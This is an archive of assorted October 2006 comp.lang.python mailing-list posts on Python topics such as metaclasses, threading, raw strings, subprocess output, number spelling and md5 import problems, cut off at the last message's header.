From paul at boddie.org.uk  Wed Oct  4 06:02:13 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 4 Oct 2006 03:02:13 -0700
Subject: python html rendering
References: <mailman.1200.1159912518.10491.python-list@python.org>
Message-ID: <1159956133.293289.192090@h48g2000cwc.googlegroups.com>

Pierre Imbaud wrote:
> Hi, Im looking for a way to display some python code
> in html: with correct indentation, possibly syntax hiliting, dealing
> correctly with multi-line comment, and... generating valid html code if
> the python code itself deals with html (hence manipulates tag litterals.
> Thanks for your help!

Take a look at Highlight [1], a program used successfully in the
otherwise Python-based open source project ViewVC [2]. Messing around
with IDEs (as others have suggested) just isn't necessary here.

Paul

[1] http://www.andre-simon.de/
[2] http://www.viewvc.org/



From sjmachin at lexicon.net  Mon Oct  2 03:35:31 2006
From: sjmachin at lexicon.net (John Machin)
Date: 2 Oct 2006 00:35:31 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
In-Reply-To: <mailman.1072.1159766782.10491.python-list@python.org>
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<451CD389.3010800@jessikat.plus.net>
	<mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
	<mailman.1072.1159766782.10491.python-list@python.org>
Message-ID: <1159774531.004015.7390@e3g2000cwe.googlegroups.com>


Fredrik Lundh wrote:

>
> You should also benchmark this against code that uses the ordinary
> append/join pattern.  (you've posted conflicting benchmarks for 2.5,
> but if I'm trusting the benchmarks that looks more reasonable, the
> standard implementation pattern is still around 10 times faster than
> your approach).
>

And the OP might like to go a bit further, and as well as benchmarking
this style:
    array = []
    array.append("aaa")
    array.append("bbb")
    etc
try benchmarking this ... well "style" may not be the appropriate word
:-)
    array = []
    arrapp = array.append
    arrapp('aaa')
    arrapp('bbb')
    etc

Cheers,
John



From massi_srb at msn.com  Thu Oct 12 04:01:44 2006
From: massi_srb at msn.com (Massi)
Date: 12 Oct 2006 01:01:44 -0700
Subject: Enum
Message-ID: <1160640104.184076.101830@e3g2000cwe.googlegroups.com>

Hi Everyone! Does anybody know how to implemet Enumeration in python
for Ctypes? Thank you!
Massi



From deets at nospam.web.de  Tue Oct 17 16:24:28 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 17 Oct 2006 22:24:28 +0200
Subject: block devices
In-Reply-To: <eh3da0$kdc$1@solaris.cc.vt.edu>
References: <eh3da0$kdc$1@solaris.cc.vt.edu>
Message-ID: <4pksfqFj9i5eU1@uni-berlin.de>

rick schrieb:
> What's the best way to read a byte of data directly from a block device 
> (a scsi hard drive) on Linux using Python?

Reading it? Using read?

f = open("/dev/foo")
f.read(1)

Diez


From steve at holdenweb.com  Sun Oct  1 08:41:37 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 13:41:37 +0100
Subject: question about scope
In-Reply-To: <451f52f1$0$1803$c3e8da3@news.astraweb.com>
References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>	<mailman.1025.1159679073.10491.python-list@python.org>
	<451f52f1$0$1803$c3e8da3@news.astraweb.com>
Message-ID: <efod0h$77k$1@sea.gmane.org>

John Salerno wrote:
> Steve Holden wrote:
> 
> 
>>The methods do indeed look in their enclosing class, but only for 
>>self-relative references. These are sought first in the instance, then 
>>in the instance's class, then in the instance's class's superclass, and 
>>so on up to the ultimate superclass. In other words, all attribute 
>>lookup uses the method resolution order ...
> 
> 
> So what I did is correct? It does work, but why don't I have to define 
> the list as self.menu_items as well?

The first point is that the name "self" isn't in scope at the point you 
make the assignment: it's a local variable (strictly, it's a parameter, 
but they are treated the same as locals) to each method, and when the 
method is called it's a reference to the specific instance whose method 
was called (technically, the instance o which the method is bound).

You could assign self.menu_items in the __init__() method, but it 
wouldn't really have any advantages given that names in class scope are 
reachable via the name resolution mechanism.

Note that the def statement is also executed in class scope, which is 
why the method names are class-relative. Python has a special method 
binding feature that changes a call like

     instance.method(a1, a2)

into

     (instance.__class__).method(instance, a1, a2)

This is where the reference to self "magically" appears from in method 
calls.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From gh at gregor-horvath.com  Tue Oct 17 03:41:52 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Tue, 17 Oct 2006 09:41:52 +0200
Subject: Scope of decorator argument
In-Reply-To: <eh1thv$675$1@newsreader2.utanet.at>
References: <eh1thv$675$1@newsreader2.utanet.at>
Message-ID: <eh21g1$kbe$1@newsreader2.utanet.at>

Gregor Horvath schrieb:
> 
> Is there any other solution, probably with metaclasses ?
> 

I've found this one:

class mymeta(type):
    def __new__(meta, class_name, bases, new_attrs):
        new_attrs["edit"] = adecorator(new_attrs['xy'])(bases[0].edit))
        return type.__new__(meta, class_name, bases, new_attrs)

class base(object):
    def edit(self):
        print "%s edit" % self

class child(base):
    __metaclass__ = mymeta
    xy = 3


Don't know if it's the best solution but it seems to work.

-- 
  Servus, Gregor



From bbull at optiosoftware.com  Fri Oct 20 09:45:24 2006
From: bbull at optiosoftware.com (WakeBdr)
Date: 20 Oct 2006 06:45:24 -0700
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <4prgkiFjj80iU1@uni-berlin.de>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
	<4ppla2Fit83qU1@uni-berlin.de>
	<1161298362.722062.265520@i3g2000cwc.googlegroups.com>
	<1161313194.211420.236840@b28g2000cwb.googlegroups.com>
	<4prgkiFjj80iU1@uni-berlin.de>
Message-ID: <1161351924.477097.257490@k70g2000cwa.googlegroups.com>

OK, I think I'm close now.  I just can't get past this one error.  Here
is my code, followed by the output produced when I run it.

class Magic(type):
        def __new__(cls, name, bases, d):
                for name, function in d.items():
                        try:
                                function._marked
                                print 'Class: %s' % cls
                                print 'Method: %s' % name
                                def toXML(self, *args, **kwargs):
                                        return
self._toXML(function(self, *args, **kwargs))
                                def toList(self, *args, **kwargs):
                                        return
self._toList(function(self, *args, **kwargs))
                                d[name+'XML'] = toXML
                                d[name+'List'] = toList
                        except AttributeError:
                                #traceback.print_exc()
                                pass
                return type(name, bases, d)

def mark(f):
        f._marked = True
        return f

class test(object):

        def _toXML(self, value):
                return '<xml>%s</xml>' % value
        def _toList(self, value):
                return '<list>%s</list>' % value

class testtest(test):

        __metaclass__ = Magic

        @mark
        def printData(self, data):
                return 'child-%s' % data


t = testtest()
print t.printData('data')
print t.printDataXML('data')
print t.printDataList('data')

===========OUTPUT=========
Class: <class '__main__.Magic'>
Method: printData
child-data
Traceback (most recent call last):
  File "test.py", line 43, in ?
    print t.printDataXML('data')
  File "test.py", line 11, in toXML
    return self._toXML(function(self, *args, **kwargs))
TypeError: __new__() takes exactly 4 arguments (3 given)



Diez B. Roggisch wrote:
> WakeBdr schrieb:
> > Diez,
> > I get what that accomplishes now, but I'm having problems in my
> > implementation.  I was able to write a standalone class that worked
> > correctly.  However, in my code the class that I need to exhibit this
> > functionality inherits from another class.  This seems to cause
> > problems when I attempt to implement you solution.
>
> You need to give a __metaclass__ to one of them, and I think they must
> be new-style-classes.
> 
> 
> Diez



From cginboston at hotmail.com  Tue Oct  3 11:02:52 2006
From: cginboston at hotmail.com (Chaz Ginger)
Date: Tue, 03 Oct 2006 15:02:52 GMT
Subject: Best way to handle large lists?
In-Reply-To: <45227992.8090704@websafe.com>
References: <prrUg.1662$We.477@trndny08> <45227992.8090704@websafe.com>
Message-ID: <45227BA1.6080107@hotmail.com>

Larry Bates wrote:
> Chaz Ginger wrote:
>> I have a system that has a few lists that are very large (thousands or
>> tens of thousands of entries) and some that are rather small. Many times
>> I have to produce the difference between a large list and a small one,
>> without destroying the integrity of either list. I was wondering if
>> anyone has any recommendations on how to do this and keep performance
>> high? Is there a better way than
>>
>> [ i for i in bigList if i not in smallList ]
>>
>> Thanks.
>> Chaz
> 
> 
> IMHO the only way to speed things up is to know more about the
> actual data in the lists (e.g are the elements unique, can they
> be sorted, etc) and take advantage of all that information to
> come up with a "faster" algorithm.  If they are unique, sets
> might be a good choice.  If they are sorted, bisect module
> might help.  The specifics about the list(s) may yield a faster
> method.
> 
> -Larry
Each item in the list is a fully qualified domain name, e.g.
foo.bar.com. The order in the list has no importance. That is about all
there is to the list other than to say the number of items in a list can
top out about 10,000.

Chaz


From obrandts at gmail.com  Sun Oct  1 16:28:10 2006
From: obrandts at gmail.com (Oeyvind Brandtsegg)
Date: Sun, 1 Oct 2006 22:28:10 +0200
Subject: python threading and timing
Message-ID: <ec4d2e280610011328m5c1c236ah895734c6275fc3d2@mail.gmail.com>

hello

I'm writing a Python application for live music performance/improivsation,
using csound as the synthesis engine, and Python for compositional
algorithms, GUI and control.

I creating several threads:
one for GUI
one for csound,
one for a timed queue (timed automation events),
one for communication with a tcp based sensor interface.

My threads do not share data,
I use threads merely to enable several processes to run in paralell.
I think I do not need to use locks to control threads in this case,
but I'm not sure (?)

Also, I wonder what method I should be using to get a precise timing
in my automation thread (acting as a sequencer).

I've attached two simple examples of different ways I could implement threads.
The only task in these examples is to generate timed counters, but the
general procedure would be the same for more complex timed tasks.
One example uses time.sleep() to release a thread's interpreter lock,
and at the same time provide the time interval until the next
iteration.
The other example uses a thread event wait() call.

It seems that the example using wait() does not provide the same
precision as time.sleep() does (the counters does not sync, e.g. a
counter with a time interval of 0.1 does not count 10 times as fast as
a counter with a time interval of 1 second.

Any insights on how to do this the best way (thread safety and time
precision) would be greatly appreciated.

best
Oeyvind Brandtsegg
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From claus.tondering at gmail.com  Thu Oct  5 07:20:20 2006
From: claus.tondering at gmail.com (Claus Tondering)
Date: 5 Oct 2006 04:20:20 -0700
Subject: Testing if an object is a function
In-Reply-To: <mailman.1341.1160046261.10491.python-list@python.org>
References: <1160045941.341621.32110@b28g2000cwb.googlegroups.com>
	<mailman.1341.1160046261.10491.python-list@python.org>
Message-ID: <1160047220.241484.164090@m7g2000cwm.googlegroups.com>

Fredrik Lundh wrote:
>     if callable(x):

Perfect. Thank you.

--
Claus Tondering



From robert.kern at gmail.com  Thu Oct 26 23:13:28 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Thu, 26 Oct 2006 22:13:28 -0500
Subject: Truth value of iterators [was: question about True values)
In-Reply-To: <87k62mea71.fsf_-_@benfinney.id.au>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<17727.47016.632530.720950@montanaro.dyndns.org>	<ehoqhe$6iq$3@sea.gmane.org>
	<ehp32i$u1$1@sea.gmane.org>	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>	<mailman.1232.1161829348.11739.python-list@python.org>	<7xfydbhkso.fsf@ruckus.brouhaha.com>	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>	<mailman.1302.1161903610.11739.python-list@python.org>	<1161917196.676362.318480@h48g2000cwc.googlegroups.com>
	<87k62mea71.fsf_-_@benfinney.id.au>
Message-ID: <ehrtgp$qrm$1@sea.gmane.org>

Ben Finney wrote:

> Would it make sense to *define* a truth value for iterators? Or at
> least to enable those that *are* able to say "I'm empty" to do so in a
> way that boolean contexts can interpret as "false"?
> 
> Perhaps allowing (but not requiring) an iterator object to grow a
> 'len' method is the simplest way.

And indeed, they are already allowed to do so.

Python 2.4.1 (#2, Mar 31 2005, 00:05:10)
Type "copyright", "credits" or "license" for more information.

In [1]: len(iter(()))
Out[1]: 0

In [2]: bool(iter(()))
Out[2]: False

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From no at spam.com  Sun Oct 22 22:33:49 2006
From: no at spam.com (Mike Krell)
Date: Sun, 22 Oct 2006 21:33:49 -0500
Subject: Problems trying to override __str__ on path class
References: <Xns98647267B6E82kojaklikescheerios@144.162.164.191>
	<ehggfk$60i$00$1@news.t-online.com>
Message-ID: <Xns9864C70166F52kojaklikescheerios@144.162.164.191>

Peter Otten <__peter__ at web.de> wrote in
news:ehggfk$60i$00$1 at news.t-online.com: 
 
> I get
> 
> np: "overridden __str__: c:/mbk/test"
> str(np): "overridden __str__: c:/mbk/test"
> overridden __str__: overridden __str__: c:/mbk/test/appendtest

Hmmm.  I guess you're not running under windows, since normpath() 
converts / to \ on windows.  I wonder if that's part of the problem.

 
> Are you using the latest version of the path module?

My path.py says it's 2.1, which is the latest according to the site.

 Older versions
> implied a Path() call in the __div__() operator which would explain at
> least the output you get for
> 
> print np / 'appendtest'

You've lost me here.  What do you mean about "implied a Path() call"?  
Here is the definition of __div__ from path.py:

'''
    # The / operator joins paths.
    def __div__(self, rel):
        """ fp.__div__(rel) == fp / rel == fp.joinpath(rel)

        Join two path components, adding a separator character if
        needed.
        """
        return self.__class__(os.path.join(self, rel))
'''

I still don't understand the TypeError in the delegation case.

   Mike


From fredrik at pythonware.com  Thu Oct 12 11:37:52 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 17:37:52 +0200
Subject: What is python(abi)?
References: <mailman.751.1160631951.11738.python-list@python.org>
	<452E5D44.4030608@gmail.com>
Message-ID: <eglngg$gad$1@sea.gmane.org>

Mandy.Lialie" wrote:

> I have search it for quite a long time. But I still can't get it.
> When I attempt to install yum and others, it always embarrasses me.
> It says python(abi) = 2.4 is need.

afaik, python(api) is a psuedo-package that's used for dependency manage-
ment in Red Hat and Fedora distributions.  installing the corresponding Python
package should make sure that python(abi) is also available.

> I have version 2.4 at first. But have a try version 2.5, remove 2.4.
> Both work well, and do well with wx.

not sure what you're saying here.

</F> 





From hanumizzle at gmail.com  Fri Oct  6 22:39:28 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 22:39:28 -0400
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrneicdjt.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1439.1160128583.10491.python-list@python.org>
	<slrneicbd7.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1449.1160131361.10491.python-list@python.org>
	<slrneicdjt.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <463ff4860610061939r587b8717s32aeabb6300021eb@mail.gmail.com>

On 6 Oct 2006 10:57:01 GMT, Antoon Pardon <apardon at forel.vub.ac.be> wrote:

> Again that is not the fault of those that read the documentation. If
> this discinction can't be easily made in python 2.X, you can't fault
> the reader for coming to a conclusion that seems to follow rather
> naturally from how python currently works.

It would depend on prior experience with programming (and perhaps mathematics).

-- Theerasak


From paul at boddie.org.uk  Sat Oct 14 12:25:00 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 14 Oct 2006 09:25:00 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
Message-ID: <1160843099.978973.235560@k70g2000cwa.googlegroups.com>

Kay Schluehr wrote:
>
> Spreading tiny function definitions all over the code
> may be finally not such a good idea compared with a few generic methods
> that get just called? OO might run out of fashion these days but Python
> is not Java and Pythons OO is pretty lightweight.

I think you've successfully identified a recent trend in Python
development: the abandonment of fairly transparent object-oriented
techniques in favour of more opaque but supposedly more convenient
hybrid techniques. Unlike Java, Python's first class functions and
methods are already highly useful for callback-based systems - such
systems in Java suffer from interface proliferation and needless
one-off class definitions - but it seems to me that the subsequent
language evolution in favour of anonymous blocks brings fewer benefits
and can, as you say, diminish readability.

Of course, there are other similar areas in recent Python development.
Nested functions appear to eliminate the need for one-off classes:

def f(x):                # class f:
  def g(y):              #   def __init__(self, x):
    return op(x, y)      #     self.x = x
  return g               #   def __call__(self, y):
g = f(a)                 #     return op(self.x, y)
                         # g = f(a)

Generators could be replaced by classes whose objects would act as
state machines. Here, the readability permitted by the enhancement is
significantly greater than that permitted by the language prior to the
introduction of the enhancement, although there may be cases where
state machines are more instructive representations in understanding a
system.

Generally, though, such enthusiasm for reducing the number of
keypresses involved in implementing something often seems to deny how
concise Python code already is in many situations.

Paul



From rocky at panix.com  Fri Oct 13 23:27:34 2006
From: rocky at panix.com (R. Bernstein)
Date: 13 Oct 2006 23:27:34 -0400
Subject: Set -Werror *inside* Python (Was Re: Can pdb be set to break on
	warnings?)
References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com>
	<mailman.302.1160559542.11739.python-list@python.org>
	<1160562703.933794.138980@b28g2000cwb.googlegroups.com>
	<mailman.306.1160563223.11739.python-list@python.org>
Message-ID: <wihejtbpoex.fsf_-_@panix3.panix.com>

This seems like very useful information. In the documentation I've
been maintaining for the extended python debugger
(http://bashdb.sf.net/pydb) I've added this as a little footnote:
http://bashdb.sourceforge.net/pydb/pydb/lib/pydb-invocation.html#foot1113

However since pydb allows for options on it's own, I wonder if there
might not be a way do this from *inside* a Python
debugger/program. Specifically so that when an execfile is called, it
is as though -Werror were given initially. Possibly by setting
sys.warnoptions? Anyone know offhand if that or something else will
work?

I'll do the testing myself if someone can give a small python program
that gives such a warning. (I realize most people contributing to
comp.lang.python write programs flawlessly the first time so they've
never come across such a warning message either, let alone have need
for a debugger; but this thread suggested that the perhaps there might
such a person who has seen a Python warning message exists. :-)

"Fredrik Lundh" <fredrik at pythonware.com> writes:

> "LorcanM" wrote:
> 
> >>      python -m pdb -Werror myprogram.py
> >
> > It sounds like what I want, but it doesn't work for me. When I try the
> > above line of code, it replies:
> >
> > Error: -Werror does not exist
> >
> > I'm running Python 2.4.3
> 
> sorry, pilot cut and paste error.  try:
> 
>     python -Werror -m pdb myprogram.py
> 
> (-m script must be the last option before the script arguments, for pretty
> obvious reasons).
> 
> </F> 


From srikrishnamohan at gmail.com  Mon Oct 23 09:07:37 2006
From: srikrishnamohan at gmail.com (km)
Date: Mon, 23 Oct 2006 18:37:37 +0530
Subject: Python and CMS
In-Reply-To: <slrnejpebt.7k4.sybrenUSE@schuimige.stuvel.eu>
References: <mailman.933.1161518325.11739.python-list@python.org>
	<1161546267.578778.35260@h48g2000cwc.googlegroups.com>
	<slrnejpebt.7k4.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <f4cc03640610230607k3d60a276s98c8579a5e8fe6b7@mail.gmail.com>

Hi,

check out Plone atop Zope.
http://plone.org

regards,
KM

On 10/23/06, Sybren Stuvel <sybrenUSE at yourthirdtower.com.imagination> wrote:
>
> Kjell Magne Fauske enlightened us with:
> > I recommend taking a look at Django [1]. It is not a CMS right out
> > of the box, but writing one using the Django framework is not that
> > difficult.
>
> Django is my favourite as well. It's very easy to start building a
> dynamic website.
>
> Sybren
> --
> Sybren St?vel
> St?vel IT - http://www.stuvel.eu/
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From jon+usenet at unequivocal.co.uk  Tue Oct  3 08:40:12 2006
From: jon+usenet at unequivocal.co.uk (Jon Ribbens)
Date: 3 Oct 2006 12:40:12 GMT
Subject: Raw strings and escaping
References: <mailman.1152.1159872720.10491.python-list@python.org>
	<slrnei4hm2.27q.jon+usenet@snowy.squish.net>
	<Xns9851834924701duncanbooth@127.0.0.1>
Message-ID: <slrnei4mhb.pa2.jon+usenet@snowy.squish.net>

In article <Xns9851834924701duncanbooth at 127.0.0.1>, Duncan Booth wrote:
>> I presume there was originally some reason for this bizarre behaviour
>> - it'd be interesting to know what it is/was, if anyone knows?
>> 
> See the FAQ for the explanation:
> 
> http://www.python.org/doc/faq/general/#why-can-t-raw-strings-r-strings-end-with-a-backslash
> 
> The idea is that if you use raw strings for regular expressions you can 
> write things like:
> 
>   pattern = r'[\'"]'
> 
> if the raw string simply ignored the backslash altogether it would be much 
> harder to write regular expressions that contain both sorts of quotes.

Well, hardly *much* harder:

  pattern = r"""foo"""

Personally, I think that raw strings behaving as they do is
unexpected, unintuitive and unnecessary, but it's obviously too late
to change it now anyway ;-)

I think standard strings accepting backslash followed by an unexpected
character is also a mistake, but again it's too late to fix now.


From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Mon Oct  9 09:51:09 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Mon, 09 Oct 2006 15:51:09 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
Message-ID: <4ov2eeFgh8t6U1@individual.net>

Diez B. Roggisch wrote:

> While I do not love java, this is one of the dumbest statements
> for a while in this NG - even though it is not meant to be too
> serious.

Thanks for your concern. I didn't really state this from dumbness
though.

BTW, definitely consider looking up "irony" and "emoticon" in an
encyclopedia of your choice.
 
> C++ has a lot of wicked, complicated features like overloadable
> assignment statements and so on, misses GC, and is in general
> semantically very overloaded. 

Maybe. Though I think there /are/ languages with more complicated
features, with an imperfomant GC that can't be controlled, or more
semantically overloaded.

BTW, what exactly do you mean by "semantically overloaded" in the
case of C++? E. g. the :: and . operators where one could do both?

> All that make programming it a real PITA, as you permanently are
> at risk loosing your feet through self-inflicted gun-shot-wounds.

It can be quite convenient. Not as convenient as Python, but it's
not impossible at all to write working code without hundreds of
bugs. But that's what it reads like in your posting.

> While Java is a language that makes it difficult to produce nice
> or beautiful code, 

because it wanted to be new and good but took over much of C++'s
syntax and made it even weirder,

> it certainly is a language that hinders you to shoot in your own
> foot really badly. 

No, it is a language that forbids almost everything from C++ which
could be dangerous, and at the same time reimplements some of those
features "under the hood": E. g. no operator overloading, but "+"
concatenation of strings. What if you'd like to implement your own
string-derived class? Ah, never mind. Operator overloading is
bad(tm) ;) <= Irony, definitely

Regards,


Bj?rn

-- 
BOFH excuse #188:

..disk or the processor is on fire.



From paul at boddie.org.uk  Tue Oct 10 13:54:49 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 10 Oct 2006 10:54:49 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<mailman.186.1160469729.11739.python-list@python.org>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
	<mailman.228.1160498957.11739.python-list@python.org>
Message-ID: <1160502889.153272.197250@m73g2000cwd.googlegroups.com>

skip at pobox.com wrote:
> Edward> My OP was just to query whether a component model existed for
> Edward> Python, like JavaBeans for Java or .Net for C#, C++/CLI
> Edward> etc.
>
> For those of us who've never used Java, .Net or C++/CLI, a more concrete
> description of what you were after from the beginning would have been
> helpful.

>From vague recollections of the original Java Beans technology, the
primary "innovation" was to have getProperty and setProperty methods,
along with things like isCapability and hasProperty, if I remember
correctly. None of this was really shocking to anyone using Python,
mostly because Python had __getattr__ and __setattr__ even back then
for customising real property/attribute access, and Python's run-time
introspection capabilities were superior to Java's (and probably still
are).

The other innovation was the introduction of standard interfaces for
listening to and dispatching events, where you implement some listener
interface and respond to events in order to "care about" those events.
I don't recall any particularly good mechanisms for connecting beans to
each other in order to fire off events, although the beanbox (or
whatever the graphical tool originally promoted was called) and/or the
IDE is supposed to help you with that part of the work.

The groovy 1990s API is actually viewable in various places; here, for
example:

http://www.doc.ic.ac.uk/~jpc1/linux/bdk-doc-1.0/apis.html

Despite the supposedly exciting advances heralded by Java Beans, a
large part of the technology was just codifying existing practices and
techniques, but it could be argued that such techniques have been
superseded by signal/slot mechanisms and more advanced event
architectures (pioneered by frameworks like Qt and since adopted by
Gtk, I believe).

Paul



From clodoaldo.pinto at gmail.com  Sun Oct 15 10:47:02 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 15 Oct 2006 07:47:02 -0700
Subject: Output from subprocess.Popen()
Message-ID: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>

Output from the shell:

[cpn at s0 teste]$ set | grep IFS
IFS=$' \t\n'

Output from subprocess.Popen():

>>> import subprocess as sub
>>> p = sub.Popen('set | grep IFS', shell=True, stdout=sub.PIPE)
>>> p.stdout.readlines()[1]
"IFS=' \t\n"

Both outputs for comparison:
IFS=$' \t\n'
"IFS=' \t\n"

The subprocess.Popen() output is missing the $ and the last '

How to get the raw shell output from subprocess.Popen()?

Regards, Clodoaldo Pinto Neto



From http  Wed Oct  4 11:58:49 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 08:58:49 -0700
Subject: changing numbers to spellings
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
	<mailman.1026.1159679410.10491.python-list@python.org>
Message-ID: <7xk63gf4xy.fsf@ruckus.brouhaha.com>

Steve Holden <steve at holdenweb.com> writes:
> You should get some clue about the number conversion (not to menion a
> bunch of code you can lift :) from
> 
>      http://www.python.org/pycon/dc2004/papers/42/ex1-C/num2eng.py

For some reason I felt like writing another one, that doesn't use as
much recursion as the last one I posted.  This one is more like
old-fashioned Python and is shorter, but took several refactorings
and was harder to debug:

def spell(n, d=0):
    # spell arbitrary integer n, restricted to |n| < 10**66
    assert abs(n) < 10**66
    if n == 0: return 'zero'
    if n < 0:  return 'minus ' + spell(-n, d)

    bigtab = ('thousand', 'million', 'billion', 'trillion',
              'quadrillion', 'quintillion', 'sextillion', 'septillion',
              'octillion', 'nonillion', 'decillion', 'undecillion',
              'duodecillion', 'tredecillion', 'quattuordecillion',
              'quinquadecillion', 'sextemdecillion', 'septemdecillion',
              'octodecillion', 'novemdecillion', 'vigintillion')
    smalltab = ('', 'one', 'two', 'three', 'four',
                'five', 'six', 'seven', 'eight', 'nine',
                'ten', 'eleven', 'twelve', 'thirteen', 'fourteen',
                'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen')
    out = []
    def maybe(cond,s): return (cond and s) or ''

    a,n = divmod(n, 1000)
    if a:
        out.extend((spell(a,d+1), maybe(a % 1000, bigtab[d])))

    a,n = divmod(n, 100)
    out.append(maybe(a, '%s hundred'% spell(a)))

    a,b = divmod(n, 10)
    if a > 1:
        out.append(('twenty', 'thirty', 'forty', 'fifty', 'sixty',
                    'seventy', 'eighty', 'ninety')[a-2] +
                   maybe(b, '-' + smalltab[b]))
    else:
        out.append(smalltab[n])
    return (' '.join(filter(bool, out)))

# example
print spell(9**69)


From samnemo at gmail.com  Mon Oct 23 18:22:54 2006
From: samnemo at gmail.com (samn)
Date: 23 Oct 2006 15:22:54 -0700
Subject: python2.5 importerror on md5
In-Reply-To: <mailman.1015.1161637991.11739.python-list@python.org>
References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com>
	<mailman.1002.1161631426.11739.python-list@python.org>
	<1161631938.267555.303790@h48g2000cwc.googlegroups.com>
	<mailman.1008.1161634211.11739.python-list@python.org>
	<1161635326.472236.12070@i42g2000cwa.googlegroups.com>
	<mailman.1015.1161637991.11739.python-list@python.org>
Message-ID: <1161642174.256181.80260@i42g2000cwa.googlegroups.com>


Chris Lambacher wrote:
> On Mon, Oct 23, 2006 at 01:28:46PM -0700, samn wrote:
> > i think the problem is different versions of openssl on the two
> > machines , 0.9.7a and 0.9.8b
> I second that this is the likely culprit.  I got bit by it while trying to
> do cross compile.  The module build process assumes a couple of locations that
> a particular library might be and takes the first one it finds, regardless of
> which one you actually want it to use.  I ended up making modifications to
> what modules were installed to get md5 to finally import.
>
> My experiences are outlined at this page:
> http://whatschrisdoing.com/blog/2006/10/06/howto-cross-compile-python-25/
>
> -Chris

thanks , i actually ended up installing openssl 0.9.8b on the machine
with version 0.9.7a and then reinstalling hashlib (after taking out
part of setup.py that doesn't let you install for python >= 2.5) in the
right place and then it worked



From sebastian_busch at gmx.net  Thu Oct 26 02:32:58 2006
From: sebastian_busch at gmx.net (Sebastian Busch)
Date: Thu, 26 Oct 2006 08:32:58 +0200
Subject: To remove some lines from a file
In-Reply-To: <mailman.1186.1161793835.11739.python-list@python.org>
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>	<ehnsht$ic1$1@news.lrz-muenchen.de>
	<mailman.1186.1161793835.11739.python-list@python.org>
Message-ID: <ehpkqk$hs8$1@news.lrz-muenchen.de>

Steve Holden wrote:
> Sebastian Busch wrote:
>> umut.tabak at student.kuleuven.be wrote:
>>> ... I would like to remove two lines from a file. ...
>> ... grep -v ...
> ... show ...

grep -v "`grep -v "commentsymbol" yourfile | head -2`" yourfile


i frankly admit that there is also 'head' invoved ;)

i really have no idea -- but i always thought that these coreutils and
colleagues do their jobs as fast as possible, in particular faster than
interpreted languages... however, as i posted last time, i was actually
not aware that you have to call three of them.

sebastian.


From paddy3118 at netscape.net  Sat Oct 14 08:08:21 2006
From: paddy3118 at netscape.net (Paddy)
Date: 14 Oct 2006 05:08:21 -0700
Subject: terminate execfile
